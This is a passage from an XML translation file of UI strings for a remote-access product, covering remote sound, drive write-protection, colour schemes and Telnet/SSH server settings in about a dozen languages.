<ja>ドライブ文字を最初に置く</ja>
<zh>首先是驱动器号</zh>
<ko>드라이브 문자 우선</ko>
<hu>Előbb a meghajtó-betűjelet</hu>
<pt-br>Letra da unidade primeiro</pt-br>
<nl>Stationsletter eerst</nl>
</msg>
<msg name="ReadOnlyConnection">
<en>Write-protect connected drives:</en>
<de>Verbundene Laufwerke mit Schreibschutz versehen:</de>
<es>Unidades conectadas protegidas contra escritura:</es>
<fr>Lecteurs connectés protégés en écriture :</fr>
<it>Unità connesse protette da scrittura:</it>
<ru>Защитить от записи подключаемые диски:</ru>
<ja>接続されたドライブを書き込み保護する:</ja>
<zh>以写保护方式连接的驱动器:</zh>
<ko>쓰기 방지 연결 드라이브:</ko>
<hu>Csatlakoztatott meghajtók írásvédetté tétele:</hu>
<pt-br>Unidades conectadas protegidas contra gravação:</pt-br>
<nl>Gekoppelde schijfstations tegen schrijven beveiligen:</nl>
</msg>
<msg name="SoundTransfer">
<en>Remote Sound</en>
<de>Tonübertragung vom Ferncomputer</de>
<es>Sonido remoto</es>
<fr>Son à distance</fr>
<it>Audio remoto</it>
<ru>Удаленный звук</ru>
<ja>リモート サウンド</ja>
<zh>远程声音</zh>
<ko>원격 사운드</ko>
<hu>Távhang</hu>
<pt-br>Som remoto</pt-br>
<nl>Extern geluid</nl>
</msg>
<msg name="SoundCaptureDevice">
<en>Sound capture device:</en>
<de>Tonerfassungsgerät:</de>
<es>Dispositivo de captura de sonidos:</es>
<fr>Périphérique de capture du son :</fr>
<it>Dispositivo di cattura audio:</it>
<ru>Звуковое устройство захвата:</ru>
<ja>収音デバイス:</ja>
<zh>声音捕捉设备:</zh>
<ko>사운드 캡처 장치:</ko>
<hu>Hangrögzítő eszköz:</hu>
<pt-br>Dispositivo de captura de som:</pt-br>
<nl>Apparaat voor geluidsopname:</nl>
</msg>
<msg name="EncodeQuality">
<en>Encode quality:</en>
<de>Kodierungsqualität:</de>
<es>Calidad de codificación:</es>
<fr>Qualité de codage :</fr>
<it>Qualità di codifica:</it>
<ru>Качество шифрования:</ru>
<ja>エンコードの質:</ja>
<zh>编码质量:</zh>
<ko>인코딩 품질:</ko>
<hu>Kódolási minőség:</hu>
<pt-br>Qualidade de codificação:</pt-br>
<nl>Codering van geluidskwaliteit:</nl>
</msg>
<msg brand="LMI" name="EncodeQuality">
<en>Remote sound quality:</en>
<es>Calidad de sonido remoto:</es>
<de>Qualität der Tonübertragung:</de>
<fr>Qualité du son à distance :</fr>
<it>Qualità audio remoto:</it>
<ru>Качество удаленного звука:</ru>
<ja>リモートのサウンドの音質 : </ja>
<zh>远程声音质量:</zh>
<ko>원격 사운드 품질:</ko>
<hu>Távoli hang minősége:</hu>
<pt-br>Qualidade do som remoto:</pt-br>
<nl>Kwaliteit extern geluid:</nl>
<en-gb>Remote sound quality:</en-gb>
</msg>
<msg name="SndAutoStart">
<en>Enable remote sound:</en>
<de>Tonübertragung vom Ferncomputer aktivieren:</de>
<es>Habilitar sonido remoto:</es>
<fr>Activer le son à distance :</fr>
<it>Attiva audio remoto:</it>
<ru>Включить удаленный звук:</ru>
<ja>リモート サウンドを有効にする:</ja>
<zh>启用远程声音:</zh>
<ko>원격 사운드 사용:</ko>
<hu>Távhang engedélyezése:</hu>
<pt-br>Habilitar som remoto:</pt-br>
<nl>Extern geluid inschakelen:</nl>
</msg>
<msg name="SndMuteServer">
<en>Mute sound on target PC:</en>
<fr>Désactiver le son sur l'ordinateur cible :</fr>
<es>Silenciar sonido en el ordenador de destino:</es>
<de>Ton auf Zielcomputer stumm schalten:</de>
<it>Disattiva audio sul computer di destinazione:</it>
<nl>Geluid op host-computer dempen:</nl>
<pt-br>Desativar som do computador de destino:</pt-br>
<zh>将目标计算机设为静音:</zh>
<ru>Отключить звук на целевом компьютере:</ru>
<ja>対象コンピュータの音を消す:</ja>
<ko>대상 컴퓨터 음소거:</ko>
<hu>Hang némítása a célszámítógépen:</hu>
</msg>
<msg os="macosx" name="SndMuteServer">
<en>Mute sound on target computer:</en>
<fr>Désactiver le son sur l'ordinateur cible :</fr>
<es>Silenciar sonido en el ordenador de destino:</es>
<de>Ton auf Zielcomputer stumm schalten:</de>
<it>Disattiva audio sul computer di destinazione:</it>
<nl>Geluid op host-computer dempen:</nl>
<pt-br>Desativar som do computador de destino:</pt-br>
<zh>将目标计算机设为静音:</zh>
<ru>Отключить звук на целевом компьютере:</ru>
<ja>対象コンピュータの音を消す:</ja>
<ko>대상 컴퓨터 음소거:</ko>
<hu>Hang némítása a célszámítógépen:</hu>
</msg>
<msg name="LowQuality">
<en>Low - Mono, 32 Kbits/sec</en>
<de>Niedrig - Mono, 32 Kbit/s</de>
<es>Bajo – Mono, 32 Kbits/seg.</es>
<fr>Faible - Mono, 32 Kbits/s</fr>
<it>Bassa - Mono, 32 Kbit/sec</it>
<ru>Низкое качество - моно, 32 Кбит/с</ru>
<ja>低 – モノ、32 キロビット/秒</ja>
<zh>低 - 单声道,32 Kb/s</zh>
<ko>낮음 - 모노, 32 Kbit/초</ko>
<hu>Gyenge - mono, 32 Kbit/s</hu>
<pt-br>Baixo - Mono, 32 Kbits/seg.</pt-br>
<nl>Laag - Mono, 32 Kbits/sec</nl>
</msg>
<msg name="MediumQuality">
<en>Medium - Stereo, 64 Kbits/sec</en>
<de>Mittel - Stereo, 64 Kbit/s</de>
<es>Medio – Estéreo, 64 Kbits/seg.</es>
<fr>Moyen - Stéréo, 64 Kbits/s</fr>
<it>Media - Stereo, 64 Kbit/sec</it>
<ru>Среднее качество - стерео, 64 Кбит/с</ru>
<ja>中 – ステレオ、64 キロビット/秒</ja>
<zh>中 - 立体声,64 Kb/s</zh>
<ko>중간 - 스테레오, 64 Kbit/초</ko>
<hu>Közepes - sztereó, 64 Kbit/s</hu>
<pt-br>Médio - Estéreo, 64 Kbits/seg.</pt-br>
<nl>Normaal - Stereo, 64 Kbits/sec</nl>
</msg>
<msg name="HighQuality">
<en>High - Stereo, 128 Kbits/sec</en>
<de>Hoch  - Stereo, 128 Kbit/s</de>
<es>Alto – Estéreo, 128 Kbits/seg.</es>
<fr>Elevé - Stéréo, 128 Kbits/s</fr>
<it>Alta - Stereo, 128 Kbit/sec</it>
<ru>Высокое качество - стерео, 128 Кбит/с</ru>
<ja>高 – ステレオ、128 キロビット/秒</ja>
<zh>高 - 立体声,128 Kb/s</zh>
<ko>높음 - 스테레오, 128 Kbit/초</ko>
<hu>Kiváló - sztereó, 128 Kbit/s</hu>
<pt-br>Alto - Estéreo, 128 Kbits/seg.</pt-br>
<nl>Hoog - Stereo, 128 Kbits/sec</nl>
</msg>
<msg name="SoundInputLine">
<en>Input line:</en>
<de>Eingang:</de>
<es>Línea de entrada:</es>
<fr>Ligne d'entrée :</fr>
<it>Linea di ingresso:</it>
<ru>Аудиовход:</ru>
<ja>入力ライン:</ja>
<zh>输入行:</zh>
<ko>입력 행:</ko>
<hu>Vonali bemenet:</hu>
<pt-br>Linha de entrada:</pt-br>
<nl>Lijningang:</nl>
</msg>
<msg name="DisableDragAndDrop">
<en>Disable Drag &amp; Drop during Remote Control:</en>
<es>Deshabilitar arrastrar y soltar durante el control remoto:</es>
<de>Drag-and-Drop während Fernsteuerung deaktivieren:</de>
<fr>Désactiver le glisser-déposer pendant le contrôle à distance :</fr>
<it>Disattiva trascinamento durante il Controllo remoto:</it>
<ru>Отключить перетаскивание во время удаленного управления:</ru>
<ja>リモート制御中にドラッグ アンド ドロップを無効にする:</ja>
<zh>在远程控制期间禁用拖放操作:</zh>
<ko>원격 제어하는 동안 드래그 앤 드롭 사용 안 함</ko>
<en-gb>Disable Drag &amp; Drop during Remote Control:</en-gb>
<hu>Fájlok áthúzásának letiltása távvezérlés alatt:</hu>
<pt-br>Desabilitar Arrastar e soltar durante o Controle remoto:</pt-br>
<nl>Slepen en neerzetten uitschakelen tijdens besturing op afstand:</nl>
</msg>
</cat>
<!-- CONFIG.COLORS -->
<cat name="COLORS">
<msg name="TITLE">
<en>Colors</en>
<de>Farben</de>
<es>Colores</es>
<fr>Couleurs</fr>
<it>Colori</it>
<ru>Цвета</ru>
<ja>色</ja>
<zh>颜色</zh>
<ko>색</ko>
<en-gb>Colours</en-gb>
<hu>Színek</hu>
<pt-br>Cores</pt-br>
<nl>Kleuren</nl>
</msg>
<msg name="BACKGR">
<en>Background</en>
<de>Hintergrund</de>
<es>Fondo</es>
<fr>Fond d'écran</fr>
<it>Sfondo</it>
<ru>Фон</ru>
<ja>背景</ja>
<zh>背景</zh>
<ko>배경</ko>
<en-gb>Background</en-gb>
<hu>Háttér</hu>
<pt-br>Plano de fundo</pt-br>
<nl>Achtergrond</nl>
</msg>
<msg name="TEXT">
<en>Text</en>
<de>Text</de>
<es>Texto</es>
<fr>Texte</fr>
<it>Testo</it>
<ru>Текст</ru>
<ja>テキスト</ja>
<zh>文本</zh>
<ko>텍스트</ko>
<en-gb>Text</en-gb>
<hu>Szöveg</hu>
<pt-br>Texto</pt-br>
<nl>Tekst</nl>
</msg>
<msg name="window">
<en>Window</en>
<de>Fenster</de>
<es>Ventana</es>
<fr>Fenêtre</fr>
<it>Finestra</it>
<ru>Окно</ru>
<ja>ウィンドウ</ja>
<zh>窗口</zh>
<ko>창</ko>
<en-gb>Window</en-gb>
<hu>Ablak</hu>
<pt-br>Janela</pt-br>
<nl>Venster</nl>
</msg>
<msg name="DLGCAP">
<en>Dialog caption</en>
<de>Dialogtitel</de>
<es>Título del diálogo</es>
<fr>Légende de dialogue</fr>
<it>Titolo finestra di dialogo</it>
<ru>Заголовок диалогового окна</ru>
<ja>ダイアログ キャプション</ja>
<zh>对话框标题</zh>
<ko>대화 상자 제목</ko>
<en-gb>Dialogue caption</en-gb>
<hu>Párbeszédablak felirata</hu>
<pt-br>Legenda da caixa de diálogo</pt-br>
<nl>Titel van dialoogvenster</nl>
</msg>
<msg name="DLG">
<en>Dialog</en>
<de>Dialog</de>
<es>Diálogo</es>
<fr>Dialogue</fr>
<it>Finestra di dialogo</it>
<ru>Диалоговое окно</ru>
<ja>ダイアログ</ja>
<zh>对话框</zh>
<ko>대화 상자</ko>
<en-gb>Dialogue</en-gb>
<hu>Párbeszédablak</hu>
<pt-br>Caixa de diálogo</pt-br>
<nl>Dialoogvenster</nl>
</msg>
<msg name="LINK">
<en>Link</en>
<de>Link</de>
<es>Vínculo</es>
<fr>Lien</fr>
<it>Collegamento</it>
<ru>Ссылка</ru>
<ja>リンク</ja>
<zh>链接</zh>
<ko>링크</ko>
<en-gb>Link</en-gb>
<hu>Hivatkozás</hu>
<pt-br>Link</pt-br>
<nl>Link</nl>
</msg>
<msg name="MENU">
<en>Menu</en>
<de>Menü</de>
<es>Menú</es>
<fr>Menu</fr>
<it>Menu</it>
<ru>Меню</ru>
<ja>メニュー</ja>
<zh>菜单</zh>
<ko>메뉴</ko>
<en-gb>Menu</en-gb>
<hu>Menü</hu>
<pt-br>Menu</pt-br>
<nl>Menu</nl>
</msg>
<msg name="MENUHIGH">
<en>Menu highlight</en>
<de>Menü hellgetastet</de>
<es>Menú destacado</es>
<fr>Menu en surbrillance</fr>
<it>Menu evidenziato</it>
<ru>Выделение меню</ru>
<ja>メニュー ハイライト</ja>
<zh>菜单突出显示</zh>
<ko>메뉴 강조</ko>
<en-gb>Menu highlight</en-gb>
<hu>Kiemelt menüpont</hu>
<pt-br>Realce do menu</pt-br>
<nl>Menu markeren</nl>
</msg>
<msg name="MENUSEL">
<en>Menu selected</en>
<de>Menü ausgewählt</de>
<es>Menú seleccionado</es>
<fr>Menu sélectionné</fr>
<it>Menu selezionato</it>
<ru>Выделенное меню</ru>
<ja>選択されているメニュー</ja>
<zh>选定菜单</zh>
<ko>메뉴 선택</ko>
<en-gb>Menu selected</en-gb>
<hu>Kiválasztott menüpont</hu>
<pt-br>Menu selecionado</pt-br>
<nl>Menu geselecteerd</nl>
</msg>
<msg name="TBLTITLE">
<en>Table title</en>
<de>Tabellentitel</de>
<es>Título de la tabla</es>
<fr>Titre des tabelles</fr>
<it>Titolo tabella</it>
<ru>Название таблицы</ru>
<ja>テーブル タイトル</ja>
<zh>表标题</zh>
<ko>테이블 제목</ko>
<en-gb>Table title</en-gb>
<hu>Táblázat címe</hu>
<pt-br>Título da tabela</pt-br>
<nl>Titel van tabel</nl>
</msg>
<msg name="TBLHEAD">
<en>Table header</en>
<de>Tabellenkopf</de>
<es>Encabezado de la tabla</es>
<fr>Entête des tabelles</fr>
<it>Intestazione tabella</it>
<ru>Заголовок таблицы</ru>
<ja>テーブル ヘッダ</ja>
<zh>表标头</zh>
<ko>테이블 머리글</ko>
<en-gb>Table header</en-gb>
<hu>Táblázat fejléce</hu>
<pt-br>Cabeçalho da tabela</pt-br>
<nl>Koptekst van tabel</nl>
</msg>
<msg name="SERVRUN">
<en>Running service</en>
<de>Dienst läuft</de>
<es>Servicio en ejecución</es>
<fr>Service actif</fr>
<it>Servizio in esecuzione</it>
<ru>Запущенная служба</ru>
<ja>実行中のサービス</ja>
<zh>正在运行的服务</zh>
<ko>실행 중 서비스</ko>
<en-gb>Running service</en-gb>
<hu>Futó szolgáltatás</hu>
<pt-br>Executando serviço</pt-br>
<nl>Service in uitvoering</nl>
</msg>
<msg name="SERVSTOP">
<en>Stopped service</en>
<de>Dienst gestoppt</de>
<es>Servicio parado</es>
<fr>Service arrêté</fr>
<it>Servizio interrotto</it>
<ru>Остановленная служба</ru>
<ja>停止されたサービス</ja>
<zh>已停止的服务</zh>
<ko>중지된 서비스</ko>
<en-gb>Stopped service</en-gb>
<hu>Leállított szolgáltatás</hu>
<pt-br>Serviço interrompido</pt-br>
<nl>Gestopte service</nl>
</msg>
<msg name="HDR">
<en>Header</en>
<de>Kopfbereich</de>
<es>Encabezado</es>
<fr>Entête</fr>
<it>Intestazione</it>
<ru>Заголовок</ru>
<ja>ヘッダ</ja>
<zh>标头</zh>
<ko>헤더</ko>
<en-gb>Header</en-gb>
<hu>Fejléc</hu>
<pt-br>Cabeçalho</pt-br>
<nl>Koptekst</nl>
</msg>
<msg name="RSCBAR">
<en>Resource bar</en>
<de>Werkzeugleiste</de>
<es>Barra de recursos</es>
<fr>Barre des ressources</fr>
<it>Barra delle risorse</it>
<ru>Индикатор ресурсов</ru>
<ja>リソース バー</ja>
<zh>资源栏</zh>
<ko>리소스 표시줄</ko>
<en-gb>Resource bar</en-gb>
<hu>Erőforrások sáv</hu>
<pt-br>Barra de recursos</pt-br>
<nl>Bronnenbalk</nl>
</msg>
<msg name="DESCTEXT">
<en>Description text</en>
<de>Beschreibungstext</de>
<es>Texto de descripción</es>
<fr>Texte de description</fr>
<it>Testo descrizione</it>
<ru>Текст описания</ru>
<ja>説明テキスト</ja>
<zh>说明文本</zh>
<ko>설명 텍스트</ko>
<en-gb>Description text</en-gb>
<hu>Leíró szöveg</hu>
<pt-br>Texto da descrição</pt-br>
<nl>Tekst voor omschrijving</nl>
</msg>
<msg name="SECTITLE">
<en>Title</en>
<de>Titel</de>
<es>Título</es>
<fr>Titre</fr>
<it>Titolo</it>
<ru>Название</ru>
<ja>タイトル</ja>
<zh>标题</zh>
<ko>제목</ko>
<en-gb>Title</en-gb>
<hu>Cím</hu>
<pt-br>Título</pt-br>
<nl>Titel</nl>
</msg>
<msg name="HTMLHEADER">
<en>HTML header</en>
<de>HTML Header</de>
<es>Encabezado HTML</es>
<fr>Entête HTML</fr>
<it>Intestazione HTML</it>
<ru>HTML-заголовок</ru>
<ja>HTML ヘッダ</ja>
<zh>HTML 标头</zh>
<ko>HTML 헤더</ko>
<en-gb>HTML header</en-gb>
<hu>HTML fejléc</hu>
<pt-br>Cabeçalho HTML</pt-br>
<nl>HTML-koptekst</nl>
</msg>
<msg name="RESTORE">
<en>Restore</en>
<de>Wiederherstellung</de>
<es>Restaurar</es>
<fr>Restaure</fr>
<it>Ripristina</it>
<ru>Восстановить</ru>
<ja>復旧</ja>
<zh>恢复</zh>
<ko>복원</ko>
<en-gb>Restore</en-gb>
<hu>Visszaállítás</hu>
<pt-br>Restaurar</pt-br>
<nl>Herstellen</nl>
</msg>
<cat name="SCHEME">
<msg name="TITLE">
<en>Scheme</en>
<de>Schema</de>
<es>Esquema</es>
<fr>Thèmes</fr>
<it>Combinazione</it>
<ru>Схема</ru>
<ja>スキーム</ja>
<zh>方案</zh>
<ko>구성표</ko>
<en-gb>Scheme</en-gb>
<hu>Séma</hu>
<pt-br>Esquema</pt-br>
<nl>Schema</nl>
</msg>
<msg name="CHOOSE">
<en>-- Select scheme --</en>
<de>-- Gewähltes Schema --</de>
<es>-- Seleccionar esquema --</es>
<fr>-- Sélectionnez un thème --</fr>
<it>-- Seleziona combinazione --</it>
<ru>-- Выбрать схему --</ru>
<ja>-- スキームの選択 --</ja>
<zh>-- 选择方案 --</zh>
<ko>-- 구성표 선택 --</ko>
<en-gb>-- Select scheme --</en-gb>
<hu>-- Séma választása --</hu>
<pt-br>-- Selecionar esquema --</pt-br>
<nl>-- Selecteer een schema --</nl>
</msg>
<msg name="PRESET1">
<en>Classic</en>
<de>Klassik</de>
<es>Clásico</es>
<fr>Classique</fr>
<it>Classica</it>
<ru>Классическая</ru>
<ja>クラシック</ja>
<zh>经典</zh>
<ko>클래식</ko>
<en-gb>Classic</en-gb>
<hu>Klasszikus</hu>
<pt-br>Clássico</pt-br>
<nl>Klassiek</nl>
</msg>
<msg name="PRESET2">
<en>Monochrome</en>
<de>Monochrome</de>
<es>Monocromo</es>
<fr>Monochrome</fr>
<it>Monocromatica</it>
<ru>Монохромная</ru>
<ja>モノクロ</ja>
<zh>单色</zh>
<ko>흑백</ko>
<en-gb>Monochrome</en-gb>
<hu>Monokróm</hu>
<pt-br>Monocromático</pt-br>
<nl>Monochroom</nl>
</msg>
<msg name="PRESET3">
<en>%PRODUCTNAME V4</en>
<de>%PRODUCTNAME V4</de>
<es>%PRODUCTNAME V4</es>
<fr>%PRODUCTNAME V4</fr>
<it>%PRODUCTNAME versione 4</it>
<ru>%PRODUCTNAME версия 4</ru>
<ja>%PRODUCTNAME V4</ja>
<zh>%PRODUCTNAME V4</zh>
<ko>%PRODUCTNAME V4</ko>
<en-gb>%PRODUCTNAME V4</en-gb>
<hu>%PRODUCTNAME V4</hu>
<pt-br>%PRODUCTNAME V4</pt-br>
<nl>%PRODUCTNAME V4</nl>
</msg>
<msg brand="LMI" name="PRESET3">
<en>Lime Fantasy</en>
<de>%PRODUCTNAME V4</de>
<es>%PRODUCTNAME V4</es>
<fr>%PRODUCTNAME V4</fr>
<it>%PRODUCTNAME versione 4</it>
<ru>%PRODUCTNAME версия 4</ru>
<ja>%PRODUCTNAME V4</ja>
<zh>%PRODUCTNAME V4</zh>
<ko>%PRODUCTNAME V4</ko>
<en-gb>%PRODUCTNAME V4</en-gb>
<hu>%PRODUCTNAME V4</hu>
<pt-br>%PRODUCTNAME V4</pt-br>
<nl>%PRODUCTNAME V4</nl>
</msg>
</cat>
</cat>
<!-- CONFIG.TELNET -->
<cat name="TELNET">
<msg name="TITLE">
<en>Telnet Server</en>
<de>Telnet Server</de>
<es>Servidor Telnet</es>
<fr>Serveur Telnet</fr>
<it>Server Telnet</it>
<ru>Telnet-сервер</ru>
<ja>Telnet サーバー</ja>
<zh>Telnet 服务器</zh>
<ko>텔넷 서버</ko>
<en-gb>Telnet Server</en-gb>
<hu>Telnet kiszolgáló</hu>
<pt-br>Servidor Telnet</pt-br>
<nl>Telnet-server</nl>
</msg>
<msg name="TELNETENABLED">
<en>Accept Telnet connections</en>
<de>Telnet-Verbindungen annehmen</de>
<es>Aceptar conexiones Telnet</es>
<fr>Accepte les connexions Telnet</fr>
<it>Accetta connessioni Telnet</it>
<ru>Принимать Telnet-подключения</ru>
<ja>Telnet 接続を許可</ja>
<zh>接受 Telnet 连接</zh>
<ko>텔넷 연결 허용</ko>
<en-gb>Accept Telnet connections</en-gb>
<hu>Telnet kapcsolatok fogadása</hu>
<pt-br>Aceitar conexões do Telnet</pt-br>
<nl>Telnet-verbindingen accepteren</nl>
</msg>
<msg name="JAVAENABLED">
<en>Accept %PRODUCTNAME connections (secure)</en>
<de>%PRODUCTNAME Verbindungen (sicher) annehmen</de>
<es>Aceptar conexiones de %PRODUCTNAME (seguras)</es>
<fr>Accepte les connexions %PRODUCTNAME (sécurisé)</fr>
<it>Accetta connessioni %PRODUCTNAME (protette)</it>
<ru>Принимать %PRODUCTNAME-подключения (безопасные)</ru>
<ja>(安全な) %PRODUCTNAME 接続 を許可</ja>
<zh>接受 %PRODUCTNAME 连接(安全)</zh>
<ko>%PRODUCTNAME 연결 허용(보안)</ko>
<en-gb>Accept %PRODUCTNAME connections (secure)</en-gb>
<hu>%PRODUCTNAME kapcsolatok fogadása (biztonságos)</hu>
<pt-br>Aceitar conexões do %PRODUCTNAME (seguras)</pt-br>
<nl>%PRODUCTNAME-verbindingen (beveiligd) accepteren</nl>
</msg>
<msg name="BANNER">
<en>Show login banner</en>
<de>Anmeldebanner anzeigen</de>
<es>Mostrar banner de inicio de sesión</es>
<fr>Afficher l'écran de bienvenue</fr>
<it>Mostra intestazione di accesso</it>
<ru>Показывать заголовок входа</ru>
<ja>ログイン バナーを表示</ja>
<zh>显示登录标题</zh>
<ko>로그인 배너 표시</ko>
<en-gb>Show login banner</en-gb>
<hu>Bejelentkezési csík mutatása</hu>
<pt-br>Mostra banner do login</pt-br>
<nl>Aanmeldingsbanner weergeven</nl>
</msg>
<msg name="MAXCONNECTIONS">
<en>Maximum simultaneous connections</en>
<de>Maximale Anzahl gleichzeitiger Verbindungen</de>
<es>Máximo de conexiones simultáneas</es>
<fr>Nombre maximum de connexions simultanées</fr>
<it>Numero massimo di connessioni simultanee</it>
<ru>Максимальное число одновременных подключений</ru>
<ja>同時接続の最大数</ja>
<zh>最大并行连接数</zh>
<ko>최대 동시 연결 수</ko>
<en-gb>Maximum simultaneous connections</en-gb>
<hu>Egyidejű kapcsolatok maximális száma</hu>
<pt-br>Máximo de conexões simultâneas</pt-br>
<nl>Maximumaantal gelijktijdige verbindingen</nl>
</msg>
<msg name="TIMEOUTS">
<en>Timeouts</en>
<de>Anzahl abgelaufener Wartezeitperioden</de>
<es>Límites de tiempo</es>
<fr>Délais</fr>
<it>Timeout</it>
<ru>Таймауты</ru>
<ja>タイムアウト</ja>
<zh>超时</zh>
<ko>시간 초과</ko>
<en-gb>Timeouts</en-gb>
<hu>Időtúllépések</hu>
<pt-br>Tempos limites</pt-br>
<nl>Time-outs</nl>
</msg>
<msg name="TIMEOUTS.NOTE">
<en>Setting a timeout value to '0' disables the appropriate timeout checking.
If you set session recovery timeout to '0', disconnected sessions get killed
immediately.</en>
<de>Wenn Sie einen Ablaufzeitwert von "0" wählen, setzen Sie die die Kontrolle
der Ablaufzeit außer Kraft. Setzen Sie z.b. die Ablaufzeit für die Wiederherstellung
einer Sitzung auf "0", dann wird die Sitzung bei einer Verbindungsstörung sofort
gelöscht.</de>
<es>Establecer e valor "0" como límite de tiempo deshabilita la correspondiente verificación de tiempo límite.
Si establece "0" como límite de tiempo de recuperación de la sesión, las que estén desconectadas se finalizarán
inmediatamente.</es>
<fr>Définir une valeur d'expiration de délai à '0 ' désactive la vérification du délai d'expiration.
Si vous définissez le délai de récupération de sessions à '0 ', les sessions
déconnectées se verront fermées immédiatement.</fr>
<it>L'impostazione del valore di timeout su '0' disattiva il controllo del timeout appropriato. Se si imposta il timeout di ripristino della sessione su '0', le sessioni disconnesse vengono terminate immediatamente.</it>
<ru>Установка нулевого значения таймаута отключает проверку соответствующего таймаута.
Если таймауту восстановления сеанса задано значение "0", то отключенные сеансы удаляются немедленно.</ru>
<ja>タイムアウト値を「0」に設定すると、適切なタイムアウト確認ができなくなります。セッション復旧のタイムアウトを「0」に設定した場合、切断されたセッションはただちに削除されます。</ja>
<zh>将超时值设置为“0”将禁用相应的超时检查。如果将会话恢复超时值设置为“0”,则将立即取消断开的会话。</zh>
<ko>시간 초과 값을 '0'으로 설정하면 시간 초과를 올바르게 확인할 수 없습니다. 세션 복구 시간 초과를 '0'으로 설정할 경우 연결이 해제된 세션은 즉시 종료됩니다.</ko>
<en-gb>Setting a timeout value to '0' disables the appropriate timeout checking.
If you set session recovery timeout to '0', disconnected sessions get killed immediately.</en-gb>
<hu>Az időtúllépés'0'-ra állítása kikapcsolja a megfelelő időtúllépés-ellenőrzést.
Ha a munkamenet-visszaállítás időtúllépését '0'-ra állítja, a szétcsatlakoztatott munkamenetek azonnal
e-mail címére.</hu>
<pt-br>Definir um valor de tempo limite como '0' desabilita a verificação de tempo limite apropriada.
Se você definir um tempo limite de recuperação da sessão como '0', as sessões desconectadas serão eliminadas
imediatamente.</pt-br>
<nl>Als u voor de time-out de waarde '0' opgeeft, wordt de controle op time-outs uitgeschakeld. Als u voor de time-out voor het herstel van de sessie de waarde '0' opgeeft, worden sessies met een verbroken verbinding onmiddellijk beëindigd.</nl>
</msg>
<msg name="LOGINTIMEOUT">
<en>Login timeout</en>
<de>Anmelde Timeout</de>
<es>Límite de tiempo para inicio de sesión</es>
<fr>Délai de Login</fr>
<it>Timeout di accesso</it>
<ru>Таймаут входа</ru>
<ja>ログイン タイムアウト</ja>
<zh>登录超时</zh>
<ko>로그인 시간 초과</ko>
<en-gb>Login timeout</en-gb>
<hu>Bejelentkezés időtúllépése</hu>
<pt-br>Tempo limite de login</pt-br>
<nl>Time-out voor aanmelden</nl>
</msg>
<msg name="IDLETIMEOUT">
<en>Idle timeout</en>
<de>Leerlauf Timeout</de>
<es>Límite de tiempo en reposo</es>
<fr>Délai d'inactivité</fr>
<it>Timeout di inattività</it>
<ru>Таймаут простоя</ru>
<ja>アイドル タイムアウト</ja>
<zh>空闲超时</zh>
<ko>유휴 시간 초과</ko>
<en-gb>Idle timeout</en-gb>
<hu>Üresjárati időtúllépés</hu>
<pt-br>Tempo ocioso</pt-br>
<nl>Time-out voor inactiviteit</nl>
</msg>
<msg name="RECONNECTTIMEOUT">
<en>Session recovery timeout</en>
<de>Timeout der Sitzungswiederherstellung</de>
<es>Límite de tiempo para recuperación de sesión</es>
<fr>Délai de récupération de session</fr>
<it>Timeout di ripristino della sessione</it>
<ru>Таймаут восстановления сеанса</ru>
<ja>セッション復旧タイムアウト</ja>
<zh>会话恢复超时</zh>
<ko>세션 복구 시간 제한</ko>
<en-gb>Session recovery timeout</en-gb>
<hu>Munkamenet visszaállításának időtúllépése</hu>
<pt-br>Tempo limite de recuperação da sessão</pt-br>
<nl>Time-out voor herstel van de sessie</nl>
</msg>
<msg name="JAVACLIENT">
<en>%PRODUCTNAME Client</en>
<de>%PRODUCTNAME Client</de>
<es>Cliente de %PRODUCTNAME</es>
<fr>Client %PRODUCTNAME</fr>
<it>Client di %PRODUCTNAME</it>
<ru>Клиент %PRODUCTNAME</ru>
<ja>%PRODUCTNAME クライアント</ja>
<zh>%PRODUCTNAME 客户端</zh>
<ko>%PRODUCTNAME 클라이언트</ko>
<en-gb>%PRODUCTNAME Client</en-gb>
<hu>%PRODUCTNAME kliensprogram</hu>
<pt-br>Cliente do %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME-client</nl>
</msg>
<msg name="TELNETCLIENT">
<en>Telnet/SSH Client Default Parameters</en>
<de>Telnet/SSH Client Standardparameter</de>
<es>Parámetros preestablecidos del Cliente Telnet/SSH</es>
<fr>Paramètres par défaut du client Telnet/SSH</fr>
<it>Parametri predefiniti del client Telnet/SSH</it>
<ru>Параметры по умолчанию Telnet/SSH-клиента</ru>
<ja>Telnet/SSH クライアントの既定のパラメータ</ja>
<zh>Telnet/SSH 客户端默认参数</zh>
<ko>텔넷/SSH 클라이언트 기본 매개 변수</ko>
<en-gb>Telnet/SSH Client Default Parameters</en-gb>
<hu>Telnet/SSH kliens alapértelmezett paraméterek</hu>
<pt-br>Parâmetros padrão do Cliente SSH/Telnet</pt-br>
<nl>Telnet/SSH-standaardparameters voor client</nl>
</msg>
<msg name="WIDTH">
<en>Columns</en>
<de>Spalten</de>
<es>Columnas</es>
<fr>Colonnes</fr>
<it>Colonne</it>
<ru>Столбцы</ru>
<ja>列</ja>
<zh>列数</zh>
<ko>열</ko>
<en-gb>Columns</en-gb>
<hu>Oszlopok</hu>
<pt-br>Colunas</pt-br>
<nl>Kolommen</nl>
</msg>
<msg name="HEIGHT">
<en>Rows</en>
<de>Zeilen</de>
<es>Filas</es>
<fr>Lignes</fr>
<it>Righe</it>
<ru>Строки</ru>
<ja>行</ja>
<zh>行数</zh>
<ko>행</ko>
<en-gb>Rows</en-gb>
<hu>Sorok</hu>
<pt-br>Linhas</pt-br>
<nl>Rijen</nl>
</msg>
<msg name="MODE">
<en>Console mode</en>
<de>Console-Modus</de>
<es>Modo consola</es>
<fr>Mode Console</fr>
<it>Modalità console</it>
<ru>Консольный режим</ru>
<ja>コンソール モード</ja>
<zh>控制台模式</zh>
<ko>콘솔 모드</ko>
<en-gb>Console mode</en-gb>
<hu>Konzol üzemmód</hu>
<pt-br>Modo Console</pt-br>
<nl>Consolemodus</nl>
</msg>
<msg name="STREAM">
<en>Stream</en>
<de>Stream</de>
<es>Stream</es>
<fr>Stream</fr>
<it>Flusso</it>
<ru>Поток</ru>
<ja>ストリーム</ja>
<zh>流</zh>
<ko>스트림</ko>
<en-gb>Stream</en-gb>
<hu>Adatfolyam</hu>
<pt-br>Fluxo</pt-br>
<nl>Gegevensstroom</nl>
</msg>
<msg name="MONOCHROME">
<en>Full (monochrome)</en>
<de>Voll ( monochrom)</de>
<es>Total (monocromo)</es>
<fr>Plein (monochrome)</fr>
<it>Intero (monocromatico)</it>
<ru>Полный (монохромный)</ru>
<ja>全画面 (モノクロ)</ja>
<zh>全(单色)</zh>
<ko>전체(흑백)</ko>
